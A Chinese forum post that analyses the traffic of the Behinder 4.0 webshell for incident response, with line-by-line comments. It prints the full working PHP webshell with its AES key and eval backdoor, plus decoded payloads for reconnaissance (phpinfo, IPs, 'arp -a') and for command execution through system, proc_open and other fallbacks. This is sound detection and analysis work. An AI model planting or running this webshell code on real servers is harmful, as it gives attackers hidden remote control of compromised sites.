冰蝎4.0客户端流量分析
Neko205 发表于 福建 WEB安全 4222浏览 · 2024-04-22 11:15

这是webshell系列工具分析的冰蝎篇

@error_reporting(0); // 关闭错误报告,这样任何错误都不会显示给用户
session_start(); // 开始一个新会话或恢复现有会话
$key="e45e329feb5d925b"; // 定义一个密钥,用于加密和解密
$_SESSION['k']=$key; // 将密钥存储在会话变量中rebeyond
session_write_close(); // 关闭会话写操作,防止后续代码修改会话数据
$post=file_get_contents("php://input"); // 读取原始POST数据
if(!extension_loaded('openssl')) // 检查openssl扩展是否加载
{
    $t="base64_"."decode"; // 如果没有加载,定义一个变量,准备用于Base64解码
    $post=$t($post.""); // 对POST数据进行Base64解码
    for($i=0;$i<strlen($post);$i++) { // 遍历解码后的数据
        $post[$i] = $post[$i]^$key[$i+1&15]; // 使用密钥和异或运算进行进一步的解码
    }
}
else
{
    $post=openssl_decrypt($post, "AES128", $key); // 如果openssl扩展已加载,使用AES128解密POST数据
}
$arr=explode('|',$post); // 将解密后的数据按竖线分割成数组
$func=$arr[0]; // 数组的第一个元素作为函数名
$params=$arr[1]; // 数组的第二个元素作为参数
class C{public function __invoke($p) {eval($p."");}} // 定义一个名为C的类,当调用这个类的实例时,执行eval()函数
@call_user_func(new C(),$params); // 使用call_user_func()调用C类的实例,并传入参数,实际上是执行eval($params)

从木马就能看出冰蝎比蚁复杂的多,看看确认输入的源码

php解码方法

check信息

蝎子在连接到服务端时会使用两个包来确认连接,第一包用于确认连接,第二包用于获取信息

蝎子的输入经过了ase128加密,一般应急情况下通过设备中的木马获取密钥,再通过http://tools.bugscaner.com/cryptoaes/解密即可

解密后获得

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICBAc2Vzc2lvbl9zdGFydCgpOyAgLy/liJ3lp4vljJZzZXNzaW9u77yM6YG/5YWNY29ubmVjdOS5i+WQjuebtOaOpWJhY2tncm91bmTvvIzlkI7nu61nZXRyZXN1bHTml6Dms5Xojrflj5Zjb29raWUNCg0KICAgIGVjaG8gZW5jcnlwdChqc29uX2VuY29kZSgkcmVzdWx0KSk7DQp9DQoKZnVuY3Rpb24gRW5jcnlwdCgkZGF0YSkKewogQHNlc3Npb25fc3RhcnQoKTsKICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJykpCiAgICAJewogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsKICAgIAkJCSAkZGF0YVskaV0gPSAkZGF0YVskaV1eJGtleVskaSsxJjE1XTsKICAgIAkJCX0KCQkJcmV0dXJuICRkYXRhOwogICAgCX0KICAgIGVsc2UKICAgIAl7CiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsKICAgIAl9Cn0KJGNvbnRlbnQ9ImRXTkpWVXRMZW5GWGF6aDBabGxPZDNwUmVHOTBjVk5DTjJSSFIzRkNjRTEyWVRCUWVGZDVVSFJuVHpoV04xWjRNR2xpWjFKcmJXaHFZbnBQTlVsME5VdFhkVkZMY1hWMk5sVnVSMVJ1Ym1wd1dGY3hXRVJDYjNJMVUzbHlkM1JPUm1wRlpFRm5aVFpPZUVGUU9YWllZMm8wY0hkeE1VbFhjM0IwTlVwUFlVWTJVbVJyUWpsTmJWZGxXVmhqYTI1V2FFZG1kR3gxZFV4MVZVZzBWMDh6UlU0eE5GSnBVRkZtTjNSR05EWjZUVEl4ZFRaWWVFazFiWFp6WkVoYWVsVk9ZamxNZEdwRlNHMWxVMUY1WVc1QlVVaEhSVkp5V2xSR09GVTVaa2hpVDBOeU5WbzVZbU5vVW5aMVpVaHBUMUJJYkRkS1RGWjJZMEZCTVdWYVRXSnNabVpZZWpKa1RVSkRRM3BvT1VsTU56TnZNR3BoY2xGMlRXNU9ZM0pzZVZSQmIybDRWVGhGVFZsNGVVaHRhakpYVEcxclMyVnBXR3h1Y2xoc2NYTnBjREJ6YUU4NFdVWTJSRXRMZEUxS2VHYzNRM2xXYVdGRFEzQnpaMlZtYzNRM1NEaEdRWFIwYzBabU9XWXlVRkZYWkhKeFozTjBSRlJMZDNoMGMzTlpkVWx1UTNwUU5WTkZNelZtYnpZelFuTnBVRlJTVlZsbGJUaE9WR1pQTkZocFFWaElWemx5YlRaUWNEQnZVVTg1VGpSVlpHVTJZVzUyUjAxdFlXMXJjRVpvUkZnelMwTnhaVEpXT1ZWeE1IVjJRMHRaVDI5NlJtNWpkR0l6UzBWTVpXdHdkM0ZoWjNKS05EQlpjRFJSUzNGR2VFRmpPVWhzVTJaT1lYbFNjSGxXWTNSaE1IVmhWalV4VFVWNWFUVmhjVzl6Vm1KVmVrOWhUMDA1Y0dsUmNGSjBjVXBQU21wTGFXWnNXbk5QY0dseGJIaFlRakZzUVhoaWNFRk5aMGMzU1RVMVZuWkxRbnBOYm5KU1ZFdE1ZMEk1ZUVkR1ZYaG9URmRaYWtwQ1ZYQkliR1pIUlRVM1RtdExTRmQxWjJ4TVRIZFJWWGxOTlVWeVdXWlRTRkJ4U1ZKb1pYYzFkVEJPWlZOUU5rZDFjelZpVFdwQ1dsTnZhV1JIWTA1SmVrZDBZVGhYU2tadlZsaHplVkExVEdGRVVHNVBabFJZYXpkVFZtTndZMWhQWkhoMWNWUjRPVXhZUjFkcFdUbExaRFZTY1VOd2QzTjFVR3B3U3pGVWFrMW5OMUZDT0ROSGJuRmtXVmxGZFd4bVlrTm5abEJxWmtwcGFHNDNkMlYyZEdGWGRVRkZPV0pyVDBaVVZHMHdjMlJ1Vlc4M1ZFOTJObHBSTUdReFVFdExWRUpSTUVjMmMzWk5UVUZpWTFBNVp6VjFSakJ0VnpOVE5XNUZSVFpYYlhOdmVFdGlVMjlwVjJwSmFFSkhUalIxVVZoQ2EyMVdVM0oxZEZCNFJrWlJlREpYYlhvd01EUmFVVUY0UmxOc05rWldiVUUxY210eU5YUnVNMnRXVDNwQlRHeHZkRXRUYmxOQ2NERlViMDlHUzBadGRESkRNWEZHZEdScFNIbDVRMnRIWjFOT1YySnRSVXhyV0ZkV2FYRnRlbGwxZDNaRU5ubDFUWGRKV1ZoemNsTm5jbVJTZDFkdlpIbFZkRGd5WVRVM1NHeE5hVkEwY1dZME5sQk1OR1IxTW5JMWJWZEdTWGhJY0hSUk0yZDFWelpEYjNvMVRGUnNlRTVaTm10WVYwNW5VMjkwUjAxSlNrTmFlVXBLUlhoeE0zZHNjbE5ZVjNaVFZYbExkbUpWVTI1WGJEUXpXREZSU25SWWVuWTJkRVpST1ZseFMwWlNhWGhDVldoM2RYVk1WV3QyVkVoWk9HbE1jVFpUT0RkcWVFWnhPREV3Wms1dE0yOXhaREJUZW0wM1YwTTVWVTVhZEd0VVNtcGxVbE4wVmxRM1dYZE1Xa05FYTNKQ00zcFdkbHBGV2xkMFYyWllWVkZRVDFoa1FtdERaRE5xVVhSVGFIWjFVRlJJUmpWeVlVWXlUV0pOUm14SFYwczViRE4yWjA5dlNWVnpVMUpoV0hocGRtRkxUV0ZNWVhWQ09VOHdWRk5ZTmxwS2JrNWpaa1p6Y3pCb1EzaG9UMDB3UkZWdWJuSXhaazVTY3pWalEzTm9XbEpvZG5wc1QzY3dSbVZYUTBVemJGUlNVa1JZVjJNNGJ6TmthbXB4V25oQ1pITTRSbU0yYlRKdmJUSkdkMHRyV2poNGNXMHdhVmROYm0xc1RXOU1TRlJKV1ROalYxWjNUR0ZTZW1ocVJUTnFZMGhVY2pSamFHcExSakZFVFVaNldWbEZOSFEzUldzM2RrOHlRbTFtU0VKNk1Ib3pVM1pzYUc5UVUxWmxUMFpEVVdWRWVreHZhMkZFV0ZaTGNYaEVSa3hqVUdkblRsaG5NelI0TlVWME5XaGxkVGw1VDJkM1dGbGFZbUZqWkRCWVNrRm5hWHBDWjI5eGIxVm5SWFpzY1Vod2EwUkpNVEZTZGxOeU0yeENXRmg2U2tZeVoyeDNWVWhLT0RodE9XOXRWMjR4UzI5MU5XMW1aME5HTVdWUll6VkdTbVo2TURodFZUSm9VR1Z0VnprMGJrSk9PSFV5YjNnMWFESnBaalpGV1U1bGNFUkhaMmxPYW1GeE5IUjBOVGRqUldFd1lrOHlSR3BvWTJwa2JEVjFTR0p1WmtkR1VrWnFibWxMYzB4eVZuYzVlak5uY0ZFM2VXUlhlamhWUTFoR2RISTNNVUkzVm0xUE5VRnJhM3A0WlRKemNYSlZiWFJ4Wm1sS2QwSTRXVlJoYURReWJEQnBWRzFhYUhJemJFaDROMFpHVEd4NmRHSkRabTlIV21aT1FrSnFlbXRuTm1GUldqSm1UVkZaYm1SSlNXZzVaV2ROYkhnNFJXcFdTalJHT0RsTWFXMWFOV05UVDFFemRUbExVVzVvVEZGV2NIaEpVMHAxWVVaT1EyWnFOVkJFTVVKS01XeDZXRkJCYzNSVk9UbG5aWGw1VVRZMGVHUTBVa1k1V0dWWE0ybFBWRnBDZDNrNVEwUnNWamRyUlZwcE1GbHdUVmRSYUVwRVdub3hNMVJhVVdaRWRYZExjVU5XT0dKR2VrWjRRVVJrWkdkblNuTnVjamROV1ZaNFFuVXphVVExY2pOcWREUldXVTB3VGxoTVYwVTVOVGswYmpnNWJWUTVOekJyVGtwa1VWbFRWVkJPWVhaV1pscG9iekZwTW1oa1lsbFFSVzFIT0ZBM2FIVjROV2RoVWtsNGVUZFhRemhLT1RKcFRVZHZXVFJxVnpneVdqa3plRU5ZTW5ZM1pGWjFWR0pUUTNSUFJGZDNaMWxEY0dkRE1GWm5kM0JyUmpkc2JYcGxWRVpqT0d4RFdrNVBWV05QWjNoeE0wWlZZa3hQYXpGa2JHbGtUMFJGY1hwTmNHTnZTa3hPYlU4MloyNVVRV2hXYVRSa2FVazFiMjVxVjA1V1puY3lSMmQxVEVReFRWTmtjV2RXTXpGV1QyNVhaMkp3VVU4eVlsTmFObFZOTldkQ1ZXTjZibU5ZT1hSbWNYRjROV1pOUjJOVVFWQm1WRzFRVjBwMmJFNHhZalZXYmpVeFdXVnlVRFpWU0ZkNFIwWTJPSFZoVVhScFVVOXBXR2h3Ym5KeFkyNXpPVVZ5VUhZemNGUjNaVlJpWlVoRWFYZGplVXhRU1U1cWJFWkxWM2xPWTBGQmQwdzRTVWwyZGpaemRVMDRTMk5DVmpoSVMzbFBlbTg1U2paUlNubDNkVWRzVWpGT04yNXJiRmN3VG1kdlZIZEdjbU5ZTkZwQ1JHVTFkRE52VFhJelVHODBjVFpCWTBaTU9HVTJjbEJuYURSb1puSkhOVkZVTURKVWNtZExkVWszWm5oMVUySXlkekIyYTNoeVQwOXFkamhZY0VNNWRuaDZWM1J6ZFUxWlYwb3dSVXRqY2tGVFZ6WnZXWHAxY0VOV1NESlFVbEpFZEVOWFZGbFFWbmsyUmxGSWNVMTZaa3R1WkhWS1JUVTNUalJKTURaSFJ6WkZWa1ZTWm1kMFEwSlpRVlZVUWs1UU9XdHpXVTltWkZwVVRrMU5Oa2R2V1cxT1lVdDVRa3Q2YmtWM1JWUnVhRXd6Wm1seGFVWjZhMnhGWkRKbGMwTTBhM1pHY1c5a016aEVSa1U1V0hWUk5HbGxUSGx1V2pCWFZYbElUVUZCVmpObWFsQmhVRGxTUlRWWFV6TmthM2hQYkhCQ05WbFZWVXRVTTJKTFpFeElRV05FUWtjMGFWaHFaV3A0U0hkT1Z6SmlSMUJCVEhsM2VXUnJjemRDY1hZMFNGVkxlV3hHV0dSbGNtZG9Namh0ZGxkbGNVcE1iMEZRUkZNd1NHbGpRa1owZFU5cyI7JGNvbnRlbnQ9YmFzZTY0X2RlY29kZSgkY29udGVudCk7DQptYWluKCRjb250ZW50KTs='));

可以看到内容又做了一次base64加密payload通过decode解码内容后使用拼接上eval

再次解码后

@error_reporting(0); // 关闭错误报告,不显示任何错误信息
function main($content) {
    $result = array(); // 创建一个数组用于存储结果
    $result["status"] = base64_encode("success"); // 将状态编码为Base64
    $result["msg"] = base64_encode($content); // 将消息内容编码为Base64
    @session_start();  // 初始化session,避免connect之后直接background,后续getresult无法获取cookie
    echo encrypt(json_encode($result)); // 将结果数组编码为JSON,然后加密并输出
}

function Encrypt($data) {
    @session_start(); // 初始化session
    $key =$_SESSION['k']; // 获取存储在session中的密钥 e45e329feb5d925b
    if(!extension_loaded('openssl')) { // 检查openssl扩展是否加载
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15]; // 使用密钥和异或运算进行加密
        }
        return $data; // 返回加密后的数据
    } else {
        return openssl_encrypt($data, "AES128",$key); // 如果openssl扩展已加载,使用AES128加密数据
    }
}
$content = "dWNJVUtLenFXazh0ZllOd3pReG90cVNCN2RHR3FCcE12YTBQeFd5UHRnTzhWN1Z4MGliZ1JrbWhqYnpPNUl0NUtXdVFLcXV2NlVuR1RubmpwWFcxWERCb3I1U3lyd3RORmpFZEFnZTZOeEFQOXZYY2o0cHdxMUlXc3B0NUpPYUY2UmRrQjlNbVdlWVhja25WaEdmdGx1dUx1VUg0V08zRU4xNFJpUFFmN3RGNDZ6TTIxdTZYeEk1bXZzZEhaelVOYjlMdGpFSG1lU1F5YW5BUUhHRVJyWlRGOFU5ZkhiT0NyNVo5YmNoUnZ1ZUhpT1BIbDdKTFZ2Y0FBMWVaTWJsZmZYejJkTUJDQ3poOUlMNzNvMGphclF2TW5OY3JseVRBb2l4VThFTVl4eUhtajJXTG1rS2VpWGxuclhscXNpcDBzaE84WUY2REtLdE1KeGc3Q3lWaWFDQ3BzZ2Vmc3Q3SDhGQXR0c0ZmOWYyUFFXZHJxZ3N0RFRLd3h0c3NZdUluQ3pQNVNFMzVmbzYzQnNpUFRSVVllbThOVGZPNFhpQVhIVzlybTZQcDBvUU85TjRVZGU2YW52R01tYW1rcEZoRFgzS0NxZTJWOVVxMHV2Q0tZT296Rm5jdGIzS0VMZWtwd3FhZ3JKNDBZcDRRS3FGeEFjOUhsU2ZOYXlScHlWY3RhMHVhVjUxTUV5aTVhcW9zVmJVek9hT005cGlRcFJ0cUpPSmpLaWZsWnNPcGlxbHhYQjFsQXhicEFNZ0c3STU1VnZLQnpNbnJSVEtMY0I5eEdGVXhoTFdZakpCVXBIbGZHRTU3TmtLSFd1Z2xMTHdRVXlNNUVyWWZTSFBxSVJoZXc1dTBOZVNQNkd1czViTWpCWlNvaWRHY05Jekd0YThXSkZvVlhzeVA1TGFEUG5PZlRYazdTVmNwY1hPZHh1cVR4OUxYR1dpWTlLZDVScUNwd3N1UGpwSzFUak1nN1FCODNHbnFkWVlFdWxmYkNnZlBqZkppaG43d2V2dGFXdUFFOWJrT0ZUVG0wc2RuVW83VE92NlpRMGQxUEtLVEJRMEc2c3ZNTUFiY1A5ZzV1RjBtVzNTNW5FRTZXbXNveEtiU29pV2pJaEJHTjR1UVhCa21WU3J1dFB4RkZReDJXbXowMDRaUUF4RlNsNkZWbUE1cmtyNXRuM2tWT3pBTGxvdEtTblNCcDFUb09GS0ZtdDJDMXFGdGRpSHl5Q2tHZ1NOV2JtRUxrWFdWaXFtell1d3ZENnl1TXdJWVhzclNncmRSd1dvZHlVdDgyYTU3SGxNaVA0cWY0NlBMNGR1MnI1bVdGSXhIcHRRM2d1VzZDb3o1TFRseE5ZNmtYV05nU290R01JSkNaeUpKRXhxM3dsclNYV3ZTVXlLdmJVU25XbDQzWDFRSnRYenY2dEZROVlxS0ZSaXhCVWh3dXVMVWt2VEhZOGlMcTZTODdqeEZxODEwZk5tM29xZDBTem03V0M5VU5adGtUSmplUlN0VlQ3WXdMWkNEa3JCM3pWdlpFWld0V2ZYVVFQT1hkQmtDZDNqUXRTaHZ1UFRIRjVyYUYyTWJNRmxHV0s5bDN2Z09vSVVzU1JhWHhpdmFLTWFMYXVCOU8wVFNYNlpKbk5jZkZzczBoQ3hoT00wRFVubnIxZk5SczVjQ3NoWlJodnpsT3cwRmVXQ0UzbFRSUkRYV2M4bzNkampxWnhCZHM4RmM2bTJvbTJGd0trWjh4cW0waVdNbm1sTW9MSFRJWTNjV1Z3TGFSemhqRTNqY0hUcjRjaGpLRjFETUZ6WVlFNHQ3RWs3dk8yQm1mSEJ6MHozU3ZsaG9QU1ZlT0ZDUWVEekxva2FEWFZLcXhERkxjUGdnTlhnMzR4NUV0NWhldTl5T2d3WFlaYmFjZDBYSkFnaXpCZ29xb1VnRXZscUhwa0RJMTFSdlNyM2xCWFh6SkYyZ2x3VUhKODhtOW9tV24xS291NW1mZ0NGMWVRYzVGSmZ6MDhtVTJoUGVtVzk0bkJOOHUyb3g1aDJpZjZFWU5lcERHZ2lOamFxNHR0NTdjRWEwYk8yRGpoY2pkbDV1SGJuZkdGUkZqbmlLc0xyVnc5ejNncFE3eWRXejhVQ1hGdHI3MUI3Vm1PNUFra3p4ZTJzcXJVbXRxZmlKd0I4WVRhaDQybDBpVG1aaHIzbEh4N0ZGTGx6dGJDZm9HWmZOQkJqemtnNmFRWjJmTVFZbmRJSWg5ZWdNbHg4RWpWSjRGODlMaW1aNWNTT1EzdTlLUW5oTFFWcHhJU0p1YUZOQ2ZqNVBEMUJKMWx6WFBBc3RVOTlnZXl5UTY0eGQ0UkY5WGVXM2lPVFpCd3k5Q0RsVjdrRVppMFlwTVdRaEpEWnoxM1RaUWZEdXdLcUNWOGJGekZ4QURkZGdnSnNucjdNWVZ4QnUzaUQ1cjNqdDRWWU0wTlhMV0U5NTk0bjg5bVQ5NzBrTkpkUVlTVVBOYXZWZlpobzFpMmhkYllQRW1HOFA3aHV4NWdhUkl4eTdXQzhKOTJpTUdvWTRqVzgyWjkzeENYMnY3ZFZ1VGJTQ3RPRFd3Z1lDcGdDMFZnd3BrRjdsbXplVEZjOGxDWk5PVWNPZ3hxM0ZVYkxPazFkbGlkT0RFcXpNcGNvSkxObU82Z25UQWhWaTRkaUk1b25qV05WZncyR2d1TEQxTVNkcWdWMzFWT25XZ2JwUU8yYlNaNlVNNWdCVWN6bmNYOXRmcXF4NWZNR2NUQVBmVG1QV0p2bE4xYjVWbjUxWWVyUDZVSFd4R0Y2OHVhUXRpUU9pWGhwbnJxY25zOUVyUHYzcFR3ZVRiZUhEaXdjeUxQSU5qbEZLV3lOY0FBd0w4SUl2djZzdU04S2NCVjhIS3lPem85SjZRSnl3dUdsUjFON25rbFcwTmdvVHdGcmNYNFpCRGU1dDNvTXIzUG80cTZBY0ZMOGU2clBnaDRoZnJHNVFUMDJUcmdLdUk3Znh1U2IydzB2a3hyT09qdjhYcEM5dnh6V3RzdU1ZV0owRUtjckFTVzZvWXp1cENWSDJQUlJEdENXVFlQVnk2RlFIcU16ZktuZHVKRTU3TjRJMDZHRzZFVkVSZmd0Q0JZQVVUQk5QOWtzWU9mZFpUTk1NNkdvWW1OYUt5Qkt6bkV3RVRuaEwzZmlxaUZ6a2xFZDJlc0M0a3ZGcW9kMzhERkU5WHVRNGllTHluWjBXVXlITUFBVjNmalBhUDlSRTVXUzNka3hPbHBCNVlVVUtUM2JLZExIQWNEQkc0aVhqZWp4SHdOVzJiR1BBTHl3eWRrczdCcXY0SFVLeWxGWGRlcmdoMjhtdldlcUpMb0FQRFMwSGljQkZ0dU9s"; // 这里是一段很长的Base64编码的字符串
$content = base64_decode($content); // 对字符串进行Base64解码
main($content); // 调用main函数处理解码后的内容

可以看到,解码后的代码中有一个content,是经过base64编码后的信息

content经过了decode发送到了main函数,在main中重新编码base64后添加到数组,而后被转化为json发送到encrypt通过密钥加密输出

第二包

error_reporting(0);
// 设置错误报告级别为0,即不显示错误信息

function main($whatever) {
    // 定义名为main的函数,接受一个参数$whatever
    $result = array();
    // 初始化一个空数组$result

    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    // 使用ob_start()函数开启输出缓冲,然后执行phpinfo()函数输出PHP的配置信息,
    // ob_get_contents()函数将缓冲区的内容返回并赋值给变量$info,
    // 最后ob_end_clean()函数清空缓冲区并关闭输出缓冲

    $driveList ="";
    // 初始化一个空字符串$driveList

    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")) {
        // 如果当前操作系统是Windows
        for($i=65;$i<=90;$i++) {
            // 遍历A-Z的ASCII码
            $drive=chr($i).':/';
            // 根据ASCII码转换成对应的盘符
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';
            // 判断盘符是否存在,若存在则加入到$driveList中
        }
    } else {
        // 如果当前操作系统不是Windows
        $driveList="/";
        // 设置$driveList为"/"
    }

    $currentPath=getcwd();
    // 获取当前工作目录

    $osInfo=PHP_OS;
    // 获取操作系统信息

    $arch="64";
    if (PHP_INT_SIZE == 4) {
        $arch = "32";
    }
    // 判断PHP的位数,32位或64位

    $localIp=gethostbyname(gethostname());
    // 获取本地主机名对应的IP地址

    if ($localIp!=$_SERVER['SERVER_ADDR']) {
        // 如果本地IP不等于服务器IP
        $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
        // 将服务器IP加入到本地IP后面
    }

    $extraIps=getInnerIP();
    // 获取额外的内网IP地址
    foreach($extraIps as $ip) {
        // 遍历额外的内网IP地址
        if (strpos($localIp,$ip)===false) {
            // 如果本地IP中不包含该IP
            $localIp=$localIp." ".$ip;
            // 将该IP添加到本地IP中
        }
    }

    $basicInfoObj=array(
        "basicInfo"=>base64_encode($info),
        "driveList"=>base64_encode($driveList),
        "currentPath"=>base64_encode($currentPath),
        "osInfo"=>base64_encode($osInfo),
        "arch"=>base64_encode($arch),
        "localIp"=>base64_encode($localIp)
    );
    // 构建包含基本信息的关联数组,并对每个信息进行base64编码

    $result["status"] = base64_encode("success");
    // 将状态设置为成功,并对其进行base64编码
    $result["msg"] = base64_encode(json_encode($basicInfoObj));
    // 将基本信息对象转换为JSON格式,然后进行base64编码

    echo encrypt(json_encode($result));
    // 将结果数组转换为JSON格式,然后加密后输出
}

function getInnerIP() {
    // 定义名为getInnerIP的函数
    $result = array();

    if (is_callable("exec")) {
        // 如果exec函数可调用
        exec('arp -a',$sa);
        // 执行arp -a命令,并将结果存储到数组$sa中
        foreach($sa as $s) {
            // 遍历数组$sa
            if (strpos($s,'---')!==false) {
                // 如果字符串中包含'---'
                $parts=explode(' ',$s);
                // 使用空格分割字符串$s,得到数组$parts
                $ip=$parts[1];
                // 获取IP地址
                array_push($result,$ip);
                // 将IP地址添加到结果数组$result中
            }
        }
    }

    return $result;
    // 返回结果数组$result
}

function Encrypt($data) {
    // 定义名为Encrypt的函数,接受一个参数$data
    @session_start();
    // 启动会话,@符号用于抑制可能的警告
    $key = $_SESSION['k'];
    // 获取会话变量$_SESSION['k']作为密钥
    if(!extension_loaded('openssl')) {
        // 如果没有加载openssl扩展
        for($i=0;$i<strlen($data);$i++) {
            // 遍历字符串$data
            $data[$i] = $data[$i]^$key[$i+1&15];
            // 使用异或操作加密数据
        }
        return $data;
        // 返回加密后的数据
    } else {
        // 如果加载了openssl扩展
        return openssl_encrypt($data, "AES128", $key);
        // 使用AES算法对数据进行加密
    }
}

$whatever="...";
// 定义一个变量$whatever,存储了一段base64编码的字符串

$whatever=base64_decode($whatever);
// 对$whatever进行base64解码

main($whatever);
// 调用main函数,传入解码后的$whatever作为参数

返回

[ 
   { 
     "basicInfo": "phpinfo信息", 
     "driveList": "/", 
     "currentPath": "/www/wwwroot/upload/upload", 
     "osInfo": "Linux", 
     "arch": "64", 
     "localIp": "127.0.1.1 192.168.56.3" 
   } 
]

命令执行

@error_reporting(0); // 禁用错误报告,可能是为了隐藏潜在的错误信息。

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str); // 将 UTF-8 编码的字符串转换为 GBK 编码
    $s0 = iconv('gbk','utf-8//IGNORE',$s1); // 再将 GBK 编码的字符串转换回 UTF-8 编码
    if($s0 == $str){ // 如果转换后的字符串和原始字符串相同
        return $s0; // 返回转换后的字符串
    }else{
        return iconv('gbk','utf-8//IGNORE',$str); // 否则返回原始字符串转换为 UTF-8 编码的结果
    }
}

function main($cmd,$path) // 主函数
{
    @set_time_limit(0); // 设置脚本执行时间限制为无限
    @ignore_user_abort(1); // 忽略客户端断开连接
    @ini_set('max_execution_time', 0); // 设置脚本最大执行时间为无限
    $result = array(); // 初始化结果数组
    $PadtJn = @ini_get('disable_functions'); // 获取被禁用的函数列表
    if (! empty($PadtJn)) { // 如果禁用函数列表不为空
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); // 用逗号替换列表中的空格
        $PadtJn = explode(',', $PadtJn); // 将字符串分割成数组
        $PadtJn = array_map('trim', $PadtJn); // 移除数组元素两端的空白字符
    } else {
        $PadtJn = array(); // 否则初始化为空数组
    }

    $c = $cmd; // 初始化执行的命令为传入的命令
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { // 如果操作系统是 Windows
        $c = $c . " 2>&1\n"; // 将命令追加错误重定向,以便捕获错误信息
    }

    $JueQDBH = 'is_callable'; // 设置函数名为字符串变量
    $Bvce = 'in_array'; // 设置函数名为字符串变量
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { // 如果 system 函数可调用且未被禁用
        ob_start(); // 开始输出缓冲
        system($c); // 执行系统命令
        $kWJW = ob_get_contents(); // 获取输出缓冲内容
        ob_end_clean(); // 清空并关闭输出缓冲
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { // 如果 proc_open 函数可调用且未被禁用
        $handle = proc_open($c, array( // 打开进程并执行命令
            array('pipe', 'r'), // 标准输入
            array('pipe', 'w'), // 标准输出
            array('pipe', 'w')  // 标准错误
        ), $pipes);
        $kWJW = NULL; // 初始化输出变量为空
        while (! feof($pipes[1])) { // 当输出管道的标准输出未结束
            $kWJW .= fread($pipes[1], 1024); // 读取标准输出内容
        }
        @proc_close($handle); // 关闭进程
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { // 如果 passthru 函数可调用且未被禁用
        ob_start(); // 开始输出缓冲
        passthru($c); // 执行系统命令并直接输出结果
        $kWJW = ob_get_contents(); // 获取输出缓冲内容
        ob_end_clean(); // 清空并关闭输出缓冲
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { // 如果 shell_exec 函数可调用且未被禁用
        $kWJW = shell_exec($c); // 执行系统命令并获取输出
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { // 如果 exec 函数可调用且未被禁用
        $kWJW = array(); // 初始化输出变量为数组
        exec($c, $kWJW); // 执行系统命令并将结果存入数组
        $kWJW = join(chr(10), $kWJW) . chr(10); // 将数组元素用换行符连接成字符串
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { // 如果 exec 函数可调用且 popen 函数未被禁用
        $fp = popen($c, 'r'); // 打开进程,并返回文件指针
        $kWJW = NULL; // 初始化输出变量为空
        if (is_resource($fp)) { // 如果文件指针是一个有效的资源
            while (! feof($fp)) { // 当文件指针未到达文件末尾
                $kWJW .= fread($fp, 1024); // 读取文件内容
            }
        }
        @pclose($fp); // 关闭进程
    } else {
        $kWJW = 0; // 如果所有执行命令的函数都不可用,则将输出变量设置为 0
        $result["status"] = base64_encode("fail"); // 设置结果状态为失败,并将其 base64 编码
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); // 设置结果消息为指定的字符串,并将其 base64 编码
        $key = $_SESSION['k']; // 获取会话密钥
        echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出
        return; // 结束函数执行
    }

    $result["status"] = base64_encode("success"); // 设置结果状态为成功,并将其 base64 编码
    $result["msg"] = base64_encode(getSafeStr($kWJW)); // 将输出内容进行安全处理并 base64 编码
    echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出
}

function Encrypt($data) // 加密函数
{
    @session_start(); // 开始会话
    $key = $_SESSION['k']; // 获取会话密钥
    if(!extension_loaded('openssl')) // 如果未加载 OpenSSL 扩展
    {
        for($i=0;$i<strlen($data);$i++) { // 循环处理每个字符
             $data[$i] = $data[$i]^$key[$i+1&15]; // 对每个字符进行异或运算
        }
        return $data; // 返回处理后的数据
    }
    else
    {
        return openssl_encrypt($data, "AES128", $key); // 使用 OpenSSL 加密数据
    }
}

$cmd="Y2QgL3d3dy93d3dyb290L3BrLyA7bHM="; // 设置要执行的命令,这里是 base64 编码的字符串,解码后为 "cd /www/wwwroot/pk/ ;ls"
$cmd=base64_decode($cmd); // 对命令进行 base64 解码
$path="L3d3dy93d3dyb290L3BrLw=="; // 设置命令的执行路径,这里是 base64 编码的字符串,解码后为 "/www/wwwroot/pk/"
$path=base64_decode($path); // 对路径进行 base64 解码
main($cmd,$path); // 调用主函数并传入命令和路径参数

返回

{"status":"c3VjY2Vzcw==","msg":"MS5qcwoxLnBocAoxLnR4dAo0MDQuaHRtbApEb2NrZXJmaWxlCkxJQ0VOU0UKUkVBRE1FLm1kCmFzc2V0cwpmb290ZXIucGhwCmhlYWRlci5waHAKaW5jCmluZGV4Lmh0bWwKaW5kZXgucGhwCmluc3RhbGwucGhwCnBpa2FjaHUKcGt4c3MKc2hlbGwucGhwCnRlc3QKdnVsCndpa2kK"}

msg内容经过base64解码后内容为

1.js
1.php
1.txt
404.html
Dockerfile
LICENSE
README.md
assets
footer.php
header.php
inc
index.html
index.php
install.php
pikachu
pkxss
shell.php
test
vul
wiki

